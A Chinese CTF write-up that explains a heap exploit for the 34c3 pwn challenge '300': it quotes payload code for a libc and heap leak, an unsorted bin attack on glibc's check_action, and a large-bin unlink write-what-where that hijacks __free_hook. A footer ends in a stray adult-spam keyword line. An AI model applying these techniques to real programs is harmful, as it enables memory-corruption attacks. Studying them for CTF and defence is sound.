<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】一道pwn題帶來的新思路 — 從unsorted bin attack 到 large bin attack

    VSole2022-05-12 08:55:38

    前言

    近來無事,于是又開始刷起了34c3 ctf的題,不得不感嘆其題目出得好啊,雖然漏洞非常明顯,但是你就是不知道怎么利用

    刷到了題目名字為300的這道pwn題,想半天利用不了,于是去看了一下別人的wp

    有兩個wp

    第一個wp是改了unsorted bin list,于是可以分配到一個堆的前面,利用house of orange 來get shell,這個比較簡單,具體怎么做直接google 搜wp就可以看到

    第二個wp就是這篇文章主要分析的東西了

    這里先貼一下wp的地址

    這篇wp其實只是一個payload,雖然附帶少量的注釋,但是第一次看到真的完全不知道他是怎么利用的

    正式分析

    這個pwn有四個功能, alloc,read,write,free,alloc只能malloc固定大小為0x300的堆,read的話只能固定讀0x300個字節,write的話跟puts差不多,打印到為止的內容,free的話free掉之后沒用將指針給置0,所以可以實現UAF。

    這個是pwn的程序的地址

    pwn

    說完程序的主要功能,我們來分析下payload吧

    這里我省略一下payload的部分代碼,下面是payload的主要代碼

    alloc(0)
    alloc(1)
    alloc(2)
    alloc(3)
    free(2)
    free(0)
    heap = u64(pr(0).ljust(8, 'x00')) - 0x620
    libc.address = u64(pr(2).ljust(8, 'x00')) - 0x3c1b58
    print('heap: 0x{:x}'.format(heap))
    print('libc: 0x{:x}'.format(libc.address))
    check_action = libc.address + 0x3c1150
    main_arena = libc.address + 0x3c1b00
    top = main_arena+0x58
    bins_addr = main_arena + 0x68
    arena_free_list = libc.address+0x3c37c0
    # clean up
    free(1)
    free(3)
    

    到這里為止,基本上都是常規操作,leak出libc 和heap的地址。

    第一個關鍵點

    # create a chunk in the unsorted bin
    alloc(0)
    alloc(1)
    free(0)
    # corrupt the unsorted bin and use it to overwrite the check_action variable
    write(0, flat(0x1234, check_action-0x10))
    alloc(0)
    free(0)
    

    這里利用unsorted bin attack,將check_action設置為unsorted bin 的地址,這個地址是main arena+一定的偏移,但是基本上是對齊的

    那么這里的作用是什么呢?

    我們來看下malloc的源碼吧

    在malloc中,存在著很多這種判斷堆中某些值是否正常的代碼,如果不正常了,就會調用malloc_printerr

    接下來會調用__libc_message,第一個參數傳進去的是do_abort

    這里省略__libc_message中其他不重要的代碼,這里是主要的退出判斷邏輯

    但是我們反編譯一下libc.so,會看到下面的代碼

    這里的sub_80050就是malloc_printerr,傳進去的是存在bss段的某個地址的值,其實這里就是payload里面的check_action

    修改了這個值之后,就算出錯了,程序也不會退出,這樣就能干很多正常時候做不了的事情了

    第二個關鍵點

    這里他先把一些tuple加進一個list,但是這個我們暫時先不管,我們先來分析他的write what where

    for what, where in what_where:
      print('[0x{:012x}] = 0x{:x}'.format(where, what))
      # if we triggered an error, the arena will be marked as corrupted and a new one allocated
      # leak the address of that new arena first
      alloc(0)
      alloc(1)
      write(1, fit({0x20: 0x320}, length=0x300))
      free(0)
      leak = ''
      while len(leak) < 6:
        new_chr = pr(0)[len(leak):len(leak)+1]
        if not new_chr:
          new_chr = 'x00'
        leak += new_chr
        write(0, 'A'*len(leak))
      new_arena = u64(leak.ljust(8, 'x00')) - 0x58
      write(0, flat(new_arena+0x58))
    

    我們可以從他的注釋知道

    # when triggering an error, the arena will be marked as corrupted and a new one gets allocated
    # though when allocating from an arena, there's a check that the result of _int_malloc is in a
    # valid range for a given arena. We put the main_arena back in the arena_free_list so that this
    # check doesn't stop us.
    

    當error發生之后,當前arena會標記會出錯的,新的arena會被建立,基本就是mmap出來的,所以他上面的代碼是leak出新的arena的地址

    # some unnecessary allocations left over from exploit dev. But I'm too lazy to fix the offsets below, so leaving them in
      alloc(0)
      alloc(2)
      alloc(3)
      alloc(4)
      free(0)
      # trigger the write-what-where
      write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x320, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x320, new_arena-0x20+0x8d0, new_arena+0x68-0x10))
      alloc(1)
      alloc(1)
      write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x340, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x400, new_arena-0x20+0x8f0+0x30, new_arena-0x20+0x388, where-0x28, what, 0, 0x320, 1, new_arena-0x20+0x8f0, 1, 1))
      alloc(1)
    

    這里的代碼可以說是精華中的精華了,弄清楚之后不得不感嘆作者對堆的了解之深

    這里alloc幾個堆,然后free 掉第一個堆,于是第一個堆就插入了unsorted bin list 里面

    write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x320, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x320, new_arena-0x20+0x8d0, new_arena+0x68-0x10))
    

    這里是第一個write

    我們可以看到,這里他是在unsorted bin list里面插入了兩個自己構造出來的fake chunk,大小為0x320

    那么這個時候問題就來了,為什么大小是0x320 而不是0x310呢?

    我們繼續來看malloc的源碼

    這里來將代碼翻譯成人話

    在unsorted bin list中,有兩種情況會直接將chunk從list中提取出來

    1. 如果用戶需要分配的內存大小對應的chunk屬于smallbin,unsortedbin中只有這一個chunk,并且該chunk屬于last remainder chunk且其大小大于用戶需要分配內存大小對應的chunk大小加上最小的chunk大小(保證可以拆開成兩個chunk),就將該chunk拆開成兩個chunk,分別為victim和remainder,進行相應的設置后,將用戶需要的victim返回。
    2. 如果剛剛從unsortedbin中取出的victim正好是用戶需要的大小nb,就設置相應的標志位,直接返回該victim

    很明顯,0x320都不滿足以上兩種情況,所以會將兩個偽造的chunk插入對應的small bin list中

    然后假如在unsorted bin中找不到合適的chunk,接下來就會判斷需要分配的內存大小是否在large bin 范圍內,是的話在large bin list中尋找

    但是這里很明顯我們是small bin

    接下來繼續看源碼

    過了一大堆判斷之后,如果還找不到合適的chunk,就會到這里,這里的idx是需要分配的內存在main arena bins中的idx,這里++idx的意思是:

    假如找不到0x310大小的堆,我們來找一下0x320大小的堆,這里很明顯有我們構造的fake chunk在small bin list中,所以就會返回構造的第一個small bin

    所以上面第一次write完后,alloc的兩個堆分別為0x310大小的堆和我們構造的0x320大小的堆

    我們來分析一下第二個write

    write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x340, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x400, new_arena-0x20+0x8f0+0x30, new_arena-0x20+0x388, where-0x28, what, 0, 0x320, 1, new_arena-0x20+0x8f0, 1, 1))
    

    其實這里可以簡化一下

    write(0, flat(0, 0, 0, 0, 0, 0, 0, 0x400, new_arena-0x20+0x8f0+0x30, new_arena-0x20+0x388, where-0x28, what, 0, 0x320, 1, new_arena-0x20+0x8f0, 1, 1))
    

    這個也是可以的,因為前面兩個chunk是已經alloc出來的,里面的內容已經無所謂了

    這里為什么要從0x320改成0x400呢?

    其實這里就是構造了一個large bin ,將fd_nextsize和bk_nextsize設為特定值,利用unlink可以實現一波”任意地址”寫”任意值”,這里其實也不是真正的任意地址寫任意值,因為這里要求任意地址和任意值大概都要在可寫的內存的范圍內

    但是這里為什么要用large bin的unlink呢?

    我們來看下源碼

    這里small bin的unlink假如不滿足要求,就會調用malloc_printerr,雖然這里調用了也不會退出,但是沒有什么用。

    假如是large bin的unlink,這里雖然不滿足要求,調用了malloc_printerr,但是因為沒退出,下面真正的unlink操作還是會執行的。

    簡單總結

    這里的write where what其實首先是構造了兩個fake chunk 插入到unsorted bin 里面,然后利用malloc的特點,將第二個fake chunk插入到small bin list中,在修改它的size位,偽造為large bin,利用unlink實現write where what。

    第三個關鍵點

    上面講了他如何實現write where what,下面就來講一下他加那些write where what的理由

    what_where = []
    # set up the main_arena so that we can get an allocation just before the __free_hook
    what_where.append((bins_addr-0x10, bins_addr))
    what_where.append((bins_addr-0x10, bins_addr+8))
    what_where.append((libc.sym['__free_hook']-0x40, libc.sym['__free_hook']-0x30))
    what_where.append((libc.sym['__free_hook']-0x30+4, top))
    what_where.append((main_arena, arena_free_list))
    

    前兩個是將corrupted的unsorted bin list恢復正常

    第三個是_free_hook上面的一些地方利用unlink來填一些值

    第四個是將top chunk 的指針指向_free__hook上剛剛那些生成的值

    第五個是將main_arena加入到arena_free_list中

    前四個都很好理解,第五個是什么操作呢?

    我們來看下源碼

    因為上面corrupted arena的原因,malloc會調用這里的arena_get去拿一個可用的arena

    然后這里大概會調用arena_get2

    然后main_arena從get_free_list中返回,最終實現控制_free_hook

    總結

    這個payload寫得真的是十分精巧,如果不熟悉malloc源碼的話真的看不出怎么利用

    同時,這個payload也給我們帶來了新思路,假如我們能控制check_action,使得堆出錯不退出的話,那么我們可以擺脫很多束縛,實現原來不能實現的騷操作

    參考資料

    https://code.woboq.org/

    http://blog.csdn.net/conansonic/article/details/50241523

    https://gist.github.com/sroettger/591b355b50f7f28f99b27ca6194681ad

    binarena
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    程序分析這里只進行一些簡單的分析,其他的博客分析的很詳細了。
    這篇wp其實只是一個payload,雖然附帶少量的注釋,但是第一次看到真的完全不知道他是怎么利用的。
    對于堆的恐懼來自堆復雜的管理機制,相較于棧來說復雜太多了,再加上使用GDB調試學習堆時,每次堆分配時,調試起來相當的麻煩,所以一直都是理論學習,堆不敢碰不敢嘗試。今日小明同學終于排除了心中對堆的恐懼,在高鐵上嘗試了一下堆,熟悉了堆的分配機制。題目分析基本信息分析查看文件類型,32位,沒有去掉符號。notepad_new大致通過注釋解釋了一下分析過程,后面不再進行詳細的分析。
    雖然從bin中拿出chunk的指針沒有被初始化,但是這個截斷使得我們不能直接泄露libc和堆地址了。
    跟php pwn一樣,以前遇到這樣的pwn直接都不看的,經過了解之后發現,老版本的Musl libc和新版本之間差距還比較大。結合最近幾次比賽中出現的Musl pwn,學習一下新老版本的Musl libc姿勢。
    前置知識UAF,異或加密,hook利用版本新增保護介紹2.33版本的glibc不同于以往,對于堆塊地址的釋放之后,對于同一大小的fastbin以及tcache有效的fd永遠只有一個,剩余的bin照舊。對于2.33版本下對于fastbin以及tcache的fd指針會被進行異或操作加密,用來異或的值隨堆地址發生改變。
    對堆題的總體思路
    2023-03-22 09:45:21
    結構體數組在BSS段上,其內容就是堆的地址,也就是堆的指針。說一下堆的理解堆有很多題型 什么堆溢出,off by null , uaf 等。核心的話主要是學思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有個過程,比如我們做棧題,很容易知道我要劫持棧的返回去執行任意地址,填入shellcode什么的。就是用system去執行/bin/sh。越復雜的問題往往只需要很簡單的道理。這里我用一個很簡單的例子去一步一步簡單剖析。先給出源碼和gcc編譯,使用的是Ubuntu18gcc?
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    切記ASLR功能一定要開!第一個puts提示了這題是house_of_storm。menue函數普通的菜單輸出,就不上圖了。add函數正常的堆分配,堆大小由用戶輸入,但是限制大小在0-0x410。
    終于抽出時間對glibc動態內存管理部分源碼進行初略的探究,試著從源碼和動調來分析free函數執行過程和一些pwn的攻擊技巧,分析的不是很全面,有錯誤的地方望提出指正,共同進步。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类